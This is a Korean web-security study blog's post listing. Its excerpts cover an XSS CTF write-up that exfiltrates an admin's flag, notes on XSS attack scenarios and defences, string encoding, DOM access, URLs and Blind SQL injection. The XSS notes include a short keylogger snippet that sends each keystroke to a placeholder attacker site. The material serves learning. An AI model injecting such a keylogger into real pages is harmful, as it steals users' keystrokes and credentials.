전체 글 (81) 썸네일형 리스트형 [JavaScript] CTF - Basic Script Prac 문제 풀이 (Dom 접근조작으로 중요정보 탈취) 문제 URL의 user 값을 임의로 변경했을 때 개인정보의 이름 또한 바뀌는 것을 확인 user 값을 sdf">로 변경한 요청을 보낸 후 응답을 통해 스크립트가 삽입되는 것을 확인 +) 마이페이지에 들어가면 대놓고 Flag Here라고 적혀있다. HTML 코드를 확인해보면 name 속성 값이 info로 되있는 것을 확인할 수 있다. 이걸 이용해서 플래그가 있는 태그에 접근한 후 placeholder 속성 값을 가져오면 된다. user 값에 관리자의 중요 정보가 공격자 페이지로 전달되도록 하는 img 태그를 작성함 (공격자 페이지는 Request bin을 이용함) 관리자가 위의 URL에 접근하여 flag가 공격자 페이지로 전송되게 함 공격자 페이지에서 flag 확인 11주차 수업 정리 - 1 (XSS 공격 시나리오, XSS 대응 방안, 필터링은 대응방안이 아니다) XSS 공격 시나리오1. 쿠키 탈취 2. 악의적인 페이지로 리다이렉트 Reflected XSS 공격이 통하는 곳에서 3. 키로거 이용한 정보 탈취 el.addEventListener('keyup', () => { new Image().src = "http://공격자사이트.com/~~?cookie=".concat(event.key); }); XSS 대응 방안 - HTML Entityxss 공격의 대응 방안인 HTML Entity와 관련해서는 아래 글에 작성해두었다.https://studysteadily.tistory.com/9 XSS(Cross Site Scripting) 공격이란? (종류, 방어기법)1. XSS 공격이란? XSS 공격은 사용자 브라우저에 전달되는 데이터에 악성 스크립트를 포함시킨 뒤, 사.. 문자열 인코딩이란? 문자열 인코딩 종류 (ASCII,EUC-KR, 유니코드, UTF-8 등) 문자열 인코딩이란? : 사람이 사용하는 문자(언어) -> 컴퓨터가 이해하는 2진수(0과 1) 컴퓨터에 문자를 저장, 전송하기 위해서는 모든 데이터를 0과 1로 변환해야한다. 컴퓨터는 '안녕하세요'와 같은 문장을 이해할 수 없기 때문이다. 1. ASCII(American National Standard Institute) 최초의 문자열 인코딩 방식으로, 7비트의 고정 길이로 알파벳, 숫자, 특수문자 등을 표현한다. 영어를 인코딩하기 위한 방식이 때문에 한국어와 같은 다른 나라 문자들은 표현할 수 없다. 2. EUC-KR 한글을 지원하기 위해 등장한 완성형 인코딩 방식으로 2바이트(16비트)로 하나의 문자를 표현한다. 참고로 완성형 인코딩 방식이란 사람들이 자주 사용하는 문자(가~힣)에 코드를 부여하는 방식.. [XSS] 키로거를 이용한 개인정보 탈취 (공격 실습) XSS 공격이란? XSS(Cross Site Scripting) 공격이란? (종류, 방어기법) 1. XSS 공격이란? XSS 공격은 사용자 브라우저에 전달되는 데이터에 악성 스크립트를 포함시킨 뒤, 사용자 브라우저에 실행되면서 해킹하는 공격이다. SQL Injection과 함께 웹 취약점 중 가장 기초적 studysteadily.tistory.com XSS로 발생할 수 있는 피해는 다음과 같다. 사용자의 개인정보 탈취 Keylogger 형태의 스크립트를 사용하여 키보드 입력 값 탈취 사용자의 쿠키정보 탈취 Document.cookie를 사용하여 해당 사용자의 쿠키 값 탈취 피싱 사이트로 강제 이동 Location.href등을 사용하여 페이지 강제 이동 악성코드 다운로드 및 실행 악성코드 다운로드 링크로 .. Javascript DOM 접근 및 조작 (CRUD, 이벤트 핸들러) Javascript? DOM? 자바스크립트는 html 제어하기 위한 언어 (컨텐츠 변경, 추가 등) 제어 대상에 접근한다 => 조작한다 DOM 이란 스크립트로 웹 문서를 제어할 수 있도록 웹 문서를 객체화한 것으로 개발자에겐 굉장히 편리한 기능이다. 반면에, 이를 잘못 사용할 경우 XSS나 개발자가 의도한 동작과 다르게 동작시킬 수 있는 취약점이 발생할 수 있다. (나는 이걸 노리는 것) - document 자체는 웹 페이지를 의미하며, 돔트리의 최상위 노드임 - 따라서 document는 진입점이 됨 먼저 알아야 할 것 Node는 모든 타입(텍스트, 주석 등)의 노드를, Element는 요소 타입의 노드만 의미함 참고) https://developer.mozilla.org/en-US/docs/Web/AP.. URL이란? URL 구조, 도메인과의 차이 URL 이란? : 네트워크 상 특정 정보 자원의 종류와 위치를 나타내는 일련의 규칙 URL과 도메인의 차이 도메인은 쉽게 말해 인터넷 상의 주소라고 생각하면 된다. 숫자로 구성된 IP 주소를 기억하기 쉽게 문자의 형태로 변환한 것이다. (ex. www.naver.com) URL은 프로토콜, 인터넷 주소(도메인), 경로, 파일 등 모든 데이터를 포함한다. 참고 https://haepos.com/entry/%EB%8F%84%EB%A9%94%EC%9D%B8-URL-%EA%B8%B0%EB%B3%B8-%EC%9A%A9%EC%96%B4 정적 페이지와 동적 페이지 정적 페이지 : 서버에 미리 저장된 파일(HTML, JavaScript, 이미지 등)이 그대로 전달되는 웹 페이지 - 서버에 저장된 데이터가 변경되지 않는 한 항상 같은 내용을 보게 됨 - 사용자가 URL을 통해 서버에 웹 페이지를 요청하였을 때, 서버 안에 이미 만들어져 있는 리소스 사용자에게 보여 - 웹 서버만 필요 동적 페이지 : 사용자와 상호작용 하여 전달받는 파라미터에 따라 다른 데이터를 출력하는 웹페이지를 말한다. - 사용자의 요청을 해석하여 데이터를 가공한 후 웹 페이지 생성 - 클라이언트가 URL을 통해 서버에 웹 페이지를 요청했을 때, 서버는 사용자에 맞는 HTML 문서를 생성하여 사용자에게 응답 - GET 방식을 사용하는 경우 동적 페이지 설정으로 분석 가능 - 웹 서버와 웹 애플리케이.. [SQL Injection] Blind SQL Injection이란? (공격 절차, 실습) Blind SQL Injection: 데이터베이스 에러 메시지나 데이터가 직접적으로 노출되지 않을 때 사용하는 공격 기법으로 쿼리 결과 즉 서버의 참/거짓 반응을 통해 데이터를 얻어내는 공격이다. Blind SQLi는 어떠한 데이터나 에러도 뜨지 않는 경우 참 거짓 반응을 통해 원하는 정보를 추출한다. DB 이름의 첫번째 글자가 a 맞는지 b가 맞는지... 이런 식으로 한 글자씩 알아내야해서 공격에 오랜 시간이 소요되므로 자동화가 필수인 공격이다. 여기서는 간략한 절차만 담을 것이기 때문에 자동화 스크립트는 생략한다. [공격 절차] 1. SQL Injection 포인트 찾기먼저 서버에서 어떤 SQL 구문을 사용하는지 생각한다. 다음은 id 검색 페이지에서 플래그를 획득하는 과정이다. 서버에서는 selec.. 이전 1 ··· 5 6 7 8 9 10 11 다음